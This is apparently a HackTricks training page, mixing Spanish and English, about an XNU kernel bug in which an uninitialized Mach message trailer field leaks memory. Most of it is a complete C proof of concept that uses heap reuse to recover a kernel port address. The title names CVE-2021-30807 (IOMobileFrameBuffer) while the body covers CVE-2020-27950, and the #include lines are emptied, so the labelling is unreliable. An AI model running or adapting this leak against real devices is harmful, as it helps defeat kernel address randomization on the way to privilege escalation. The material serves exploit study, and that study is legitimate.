# CVE-2021-30807: IOMobileFrameBuffer OOB {{#include ../../banners/hacktricks-training.md}} ## La vulnerabilidad Hay una [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), pero como resumen: Cada Mach message que recibe el kernel termina con un **"trailer"**: una struct de longitud variable con metadata (seqno, sender token, audit token, context, access control data, labels...). El kernel **siempre reserva el trailer de mayor tamaño posible** (MAX_TRAILER_SIZE) en el buffer del mensaje, pero **solo inicializa algunos campos**, y luego **decide qué tamaño de trailer devolver** basándose en las **receive options controladas por el usuario**. Estas son las structs relevantes del trailer: ```c typedef struct{ mach_msg_trailer_type_t msgh_trailer_type; mach_msg_trailer_size_t msgh_trailer_size; } mach_msg_trailer_t; typedef struct{ mach_msg_trailer_type_t msgh_trailer_type; mach_msg_trailer_size_t msgh_trailer_size; mach_port_seqno_t msgh_seqno; security_token_t msgh_sender; audit_token_t msgh_audit; mach_port_context_t msgh_context; int msgh_ad; msg_labels_t msgh_labels; } mach_msg_mac_trailer_t; #define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t) typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) ``` Entonces, cuando se genera el trailer object, solo algunos campos se inicializan, y el max trailer size siempre se reserva: ```c trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); trailer->msgh_sender = current_thread()->task->sec_token; trailer->msgh_audit = current_thread()->task->audit_token; trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; [...] trailer->msgh_labels.sender = 0; ``` Entonces, por ejemplo, al intentar leer un mensaje mach usando `mach_msg()` se llama a la función `ipc_kmsg_add_trailer()` para adjuntar el trailer al mensaje. Dentro de esta función se calcula el tamaño del trailer y se rellenan algunos otros campos del trailer: ```c if (!(option & MACH_RCV_TRAILER_MASK)) { [3] return trailer->msgh_trailer_size; } trailer->msgh_seqno = seqno; trailer->msgh_context = context; trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); ``` El parámetro `option` está controlado por el usuario, por lo tanto **es necesario proporcionar un valor que supere la comprobación `if`.** Para pasar esta comprobación necesitamos enviar un `option` válido y soportado: ```c #define MACH_RCV_TRAILER_NULL 0 #define MACH_RCV_TRAILER_SEQNO 1 #define MACH_RCV_TRAILER_SENDER 2 #define MACH_RCV_TRAILER_AUDIT 3 #define MACH_RCV_TRAILER_CTX 4 #define MACH_RCV_TRAILER_AV 7 #define MACH_RCV_TRAILER_LABELS 8 #define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28) #define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) #define MACH_RCV_TRAILER_MASK ((0xf << 24)) ``` Pero, debido a que `MACH_RCV_TRAILER_MASK` solo está comprobando bits, podemos pasar cualquier valor entre `0` y `8` para no entrar dentro de la instrucción `if`. Luego, continuando con el código puedes encontrar: ```c if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { trailer->msgh_ad = 0; } /* * The ipc_kmsg_t holds a reference to the label of a label * handle, not the port. We must get a reference to the port * and a send right to copyout to the receiver. */ if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) { trailer->msgh_labels.sender = 0; } done: #ifdef __arm64__ ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); #endif /* __arm64__ */ return trailer->msgh_trailer_size; ``` Donde se puede ver que si el `option` es mayor o igual a `MACH_RCV_TRAILER_AV` (7), el campo **`msgh_ad`** se inicializa a `0`. Como habrás notado, **`msgh_ad`** seguía siendo el único campo del trailer que no se inicializó antes y que podría contener un leak de memoria usada anteriormente. Por tanto, la forma de evitar inicializarlo sería pasar un valor de `option` igual a `5` o `6`, de modo que pase el primer `if` y no entre en el `if` que inicializa `msgh_ad` porque los valores `5` y `6` no tienen ningún tipo de trailer asociado. ### Basic PoC Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data. ### Leak Kernel Address PoC Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an `unsigned int` but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Therefore, sending tens of these structs in the message in kernel will mean to **añadir varias direcciones del kernel dentro del mensaje** so one of them can be leaked. Se añadieron comentarios para una mejor comprensión: ```c #include #include #include #include // Number of OOL port descriptors in the "big" message. // This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds). #define LEAK_PORTS 50 // "Big" message: many descriptors → larger descriptor array in kmsg typedef struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_port_descriptor_t sent_ports[LEAK_PORTS]; } message_big_t; // "Small" message: fewer descriptors → leaves more room for the trailer // to overlap where descriptor pointers used to be in the reused kalloc chunk. typedef struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10]; } message_small_t; int main(int argc, char *argv[]) { mach_port_t port; // our local receive port (target of sends) mach_port_t sent_port; // the port whose kernel address we want to leak /* * 1) Create a receive right and attach a send right so we can send to ourselves. * This gives us predictable control over ipc_kmsg allocations when we send. */ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); /* * 2) Create another receive port (sent_port). We'll reference this port * in OOL descriptors so the kernel stores pointers to its ipc_port * structure in the kmsg → those pointers are what we aim to leak. */ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port); mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND); printf("[*] Will get port %x address\n", sent_port); message_big_t *big_message = NULL; message_small_t *small_message = NULL; // Compute userland sizes of our message structs mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message); mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message); // Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin) big_message = malloc(big_size + MAX_TRAILER_SIZE); small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); /* * 3) Prepare the "big" message: * - Complex bit set (has descriptors) * - 50 OOL port descriptors, all pointing to the same sent_port * When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port). * Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel). */ printf("[*] Creating first kalloc.1024 ipc_kmsg\n"); memset(big_message, 0, big_size + MAX_TRAILER_SIZE); big_message->header.msgh_remote_port = port; // send to our receive right big_message->header.msgh_size = big_size; big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX; big_message->body.msgh_descriptor_count = LEAK_PORTS; for (int i = 0; i < LEAK_PORTS; i++) { big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers } /* * 4) Prepare the "small" message: * - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused, * the trailer sits earlier and *overlaps* bytes where descriptor pointers lived. */ printf("[*] Creating second kalloc.1024 ipc_kmsg\n"); memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); small_message->header.msgh_remote_port = port; small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX; small_message->body.msgh_descriptor_count = LEAK_PORTS - 10; for (int i = 0; i < LEAK_PORTS - 10; i++) { small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; small_message->sent_ports[i].name = sent_port; } /* * 5) Receive buffer for reading back messages with trailers. * We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5). * On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized * if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak. */ uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE); mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally) uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks /* * ---------- Exploitation sequence ---------- * * Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many * kernel pointers (ipc_port*) in its descriptor array. */ printf("[*] Sending message 1\n"); mach_msg(&big_message->header, MACH_SEND_MSG, big_size, // send size 0, // no receive MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); /* * Step B: Immediately receive/discard it with a zero-sized buffer. * This frees the kalloc chunk without copying descriptors back, * leaving the kernel pointers resident in freed memory (stale). */ printf("[*] Discarding message 1\n"); mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, // try to receive 0, // send size 0 0, // recv size 0 (forces error/free path) port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); /* * Step C: Reuse the same size-class with the "small" message (fewer descriptors). * We slightly bump msgh_size by +4 so that when the kernel appends * the trailer, the trailer's uninitialized field `msgh_ad` overlaps * the low 4 bytes of a stale ipc_port* pointer from the prior message. */ small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window printf("[*] Sending message 2\n"); mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); /* * Step D: Receive message 2 and request an invalid trailer elements value (5). * - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer. * - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size. * - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7), * so with 5, `msgh_ad` remains uninitialized → stale bytes leak. */ memset(buffer, 0, big_size + MAX_TRAILER_SIZE); printf("[*] Reading back message 2\n"); mach_msg((mach_msg_header_t *)buffer, MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950 0, small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); // Trailer begins right after the message body we sent (small_size + 4) trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)); // Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*) sent_port_address |= (uint32_t)trailer->msgh_ad; /* * Step E: Repeat the A→D cycle but now shift by another +4 bytes. * This moves the overlap window so `msgh_ad` captures the high 4 bytes. */ printf("[*] Sending message 3\n"); mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); printf("[*] Discarding message 3\n"); mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); // add another +4 to msgh_size → total +8 shift from the baseline small_message->header.msgh_size = small_size + sizeof(uint32_t)*2; printf("[*] Sending message 4\n"); mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t)*2, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); memset(buffer, 0, big_size + MAX_TRAILER_SIZE); printf("[*] Reading back message 4\n"); mach_msg((mach_msg_header_t *)buffer, MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2); // Combine the high 32 bits, reconstructing the full 64-bit kernel pointer sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32; printf("[+] Port %x has address %lX\n", sent_port, sent_port_address); return 0; } ``` ## Referencias - [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) {{#include ../../banners/hacktricks-training.md}}